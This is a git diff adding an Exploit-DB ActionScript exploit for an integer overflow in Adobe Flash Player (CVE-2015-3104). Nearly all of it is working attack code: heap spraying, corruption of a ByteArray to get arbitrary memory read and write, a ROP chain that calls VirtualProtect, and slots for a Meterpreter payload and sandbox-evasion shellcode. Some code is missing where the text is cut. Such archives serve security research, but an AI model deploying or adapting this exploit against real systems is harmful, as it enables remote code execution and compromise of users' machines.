diff --git a/exploits/multiple/remote/50290.as b/exploits/multiple/remote/50290.as new file mode 100644 index 000000000..2a2e7c66c --- /dev/null +++ b/exploits/multiple/remote/50290.as @@ -0,0 +1,493 @@ +// Exploit Title: Adobe Flash Player - Integer Overflow +// Exploit Author: Matteo Memelli (ryujin@offensive-security) +// Date: 14/01/2017 +// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader +// CVE: CVE-2015-3104 +// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104 + +package +{ + import flash.display.*; + import flash.utils.ByteArray; + import flash.events.Event; + import flash.events.MouseEvent; + import flash.text.* + import mx.utils.Base64Decoder; + + public class ShaderInputOverflow extends Sprite + { + public var bb:ByteArray = null; + public var allocate:Array; + public var MAX_ARRAY:uint = 81920; + public var text:TextField = new TextField(); + public var gText:String = ""; + public var corrupted:uint = 0; + public var corrupted_ba_address:uint = 0; + public var corrupted_ba_pos:uint = 0; + public var next_ba_address:uint = 0; + public var NPSWF32Base:uint = 0; + + public function ShaderInputOverflow():void + { + if (stage) drawText(); + else addEventListener(Event.ADDED_TO_STAGE, drawText); + drawText(); + + var i:uint; + allocate = new Array(); + + for (i = 0; i < MAX_ARRAY; i++) { + bb = new ByteArray(); + bb.writeByte(0x57); + bb.writeByte(0x30); + bb.writeByte(0x30); + bb.writeByte(0x54); + bb.writeByte(0x57); + bb.writeByte(0x30); + bb.writeByte(0x30); + bb.writeByte(0x54); + bb.writeByte(0x57); + bb.writeByte(0x30); + bb.writeByte(0x30); + bb.writeByte(0x54); + bb.writeByte(0x57); + bb.writeByte(0x30); + bb.writeByte(0x30); + bb.writeByte(0x54); + allocate.push(bb); + } + + // We create "holes" of size 0x18 bytes on the heap + i = MAX_ARRAY/2; + while (i pwnd.exe + // base64 pwnd.exe | tr --delete '\n' + // Meterpreter executable or any other payload… + dec2.decode("YOUR BASE64 METERPRETER CODE HERE"); + met = dec2.toByteArray(); + writeBytes(0x1a100000, met); + writeBytes(0x1a200000, dll); + + writeDword((VTableObj+0xd4), 0x1a000000); + gText += allocate[corrupted].toString(); + } + + private function hexStringToByteArray(hexstring:String) : ByteArray + { + var bindata:ByteArray = new ByteArray(); + bindata.endian = "littleEndian"; + var hexstr:String = null; + var count:uint = 0; + while(count < hexstring.length) + { + hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1)); + bindata.writeByte(parseInt(hexstr, 16)); + count += 2; + } + return bindata; + } + + private function writeROPChain(NPSWF32Base:uint):void + { + + var ROPaddr:uint = 0x1a00CBE2; + + writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); // PIVOT XCHG ECX,ESP... + + // Save stack information to restore the execution flow after shellcode + writeDword(0x1a000000, (NPSWF32Base+0x00007324)); // POP EAX # RETN + writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ; // SAVE ECX VALUE HERE + writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ; // MOV [EAX],ECX # RETN + writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ; // POP EAX # RETN + writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ; // SAVE EBX VALUE HERE + writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ; // MOV [EAX],EBX # POP EBX # POP ECX; RETN + writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ; // JUNK + writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ; // JUNK + + // Mona Chain + writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN + writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN + writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ; // POP EBX # RETN + writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ; + writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ; // POP EDX # RETN + writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ; + writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ; // POP ECX # RETN + writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ; // &Writable location + writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ; // POP EDI # RETN + writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ; // ROP NOP # RETN + writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ; // POP ESI # RETN + writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ; // JMP [EAX] + writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ; // POP EAX # RETN + writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ; // ptr to VirtualProtect IAT + writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ; // PUSHAD # RETN + writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ; // PTR TO JMP ESP + + // NOPsled + writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled + writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled + writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // shellcode + + var Shellcode:String = new String(); + + Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... "; + writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2; + + // Restore component + // 1a00cc56 8b0d0004001a mov ecx,dword ptr ds:[1A000400h] + // 1a00cc5c 8b1d0404001a mov ebx,dword ptr ds:[1A000404h] + // 1a00cc62 28d9 sub cl,bl + // 1a00cc64 87cc xchg ecx,esp + // 1a00cc66 8bec mov ebp,esp + // 1a00cc68 83c52c add ebp,2Ch + // 1a00cc6b 31c0 xor eax,eax + // 1a00cc6d c3 ret + var Restore:String = new String(); + Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3"; + writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2; + } + + private function findVTable(startAddress:uint):uint + { + // Find the VTable Object Address within the ByteArrayObject + allocate[corrupted].endian = "littleEndian"; + var addr:uint = 0; + var base:uint = 0x16000000; + var bstart:uint = base; + var count:uint = 0; + while (true) + { + if (readDword(base) == startAddress) + { + addr = bstart+count; + // ByteArray::Buffer pointer is at offset +0x40 + addr = addr - 0x40; + // VTable Object pointer is at +0x8 + return readDword(addr+0x8); + } + else + { + base += 4; + count += 4; + } + } + return addr; + } + + private function findNPSWF32_Base(NPSWF32Ptr:uint):uint + { + // Find a DLL base address by appling the scan down technique + var addr:uint = NPSWF32Ptr & 0xfffff000; + while (true) + { + if (readDword(addr) == 0x00905a4d) + { + return addr; + } + else + { + addr = addr - 0x1000; + } + } + return addr; + } + + private function readDword(pAddress:uint):uint + { + // Read a DWORD from an address + // by changing the ptr to array of bytes + var tmpIndex:uint = 0; + var res:uint = 0; + + // Change ptr to array of bytes + tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(pAddress); + allocate[corrupted].position = 0; + // Read a DWORD from the new address + res = allocate[corrupted].readUnsignedInt(); + // Reset ptr to array of bytes to 0x16000000 + tmpIndex = (corrupted_ba_address + 0x8) - pAddress; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(0x16000000); + return res; + } + + private function writeDword(pAddress:uint, value:uint):void + { + // write a DWORD to an address + // by changing the ptr to array of bytes + var tmpIndex:uint = 0; + // Change ptr to array of bytes + tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(pAddress); + allocate[corrupted].position = 0; + // Read a DWORD from the new address + allocate[corrupted].writeUnsignedInt(value); + // Reset ptr to array of bytes to 0x16000000 + tmpIndex = (corrupted_ba_address + 0x8) - pAddress; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(0x16000000); + } + + private function writeBytes(pAddress:uint, data:ByteArray):void + { + // write a ByteArray to an address + // by changing the ptr to array of bytes + var tmpIndex:uint = 0; + // Change ptr to array of bytes + tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(pAddress); + allocate[corrupted].position = 0; + // Read a ByteArray tp the new address + allocate[corrupted].writeBytes(data, 0, 0); + // Reset ptr to array of bytes to 0x16000000 + tmpIndex = (corrupted_ba_address + 0x8) - pAddress; + allocate[corrupted].position = tmpIndex; + allocate[corrupted].writeUnsignedInt(0x16000000); + } + + private function findCorruptedAddress():void + { + allocate[corrupted].position = 0; + allocate[corrupted].endian = "littleEndian"; + while (true) + { + if(allocate[corrupted].readUnsignedInt() == 0x6230306e) + { + if(allocate[corrupted].readUnsignedInt() == 0x6230306e) + { + // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10 + // otherwise after the two 0x41414141 dwords in case the offset is 0x8 + + // OFFSET 0x10 LENGTH = 0x16000000 + if (allocate[corrupted].length == 0x16000000) + corrupted_ba_pos = allocate[corrupted].position; + // OFFSET 0x8 LENGTH = 0xffffffff + else + corrupted_ba_pos = allocate[corrupted].position + 0x8; + // We calculate the address of the corrupted object by using the index + // and the base address that we set through the heap overflow. + corrupted_ba_address = 0x16000000 + corrupted_ba_pos; + // Since every in-use ByteArray object is alternated with a free one + // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes + // from the corrupted one. + next_ba_address = corrupted_ba_address + 0x18*2; + return; + } + } + } + return; + } + + private function findCorrupted():uint + { + // Find the corrupted ByteArray::Buffer object. + // We can find it by checking for a size different from the + // original 0x10 bytes, since the ByteArray data is 16 bytes + // for all the objects we allocated, except the corrupted one. + var i:uint = MAX_ARRAY/2; + while (i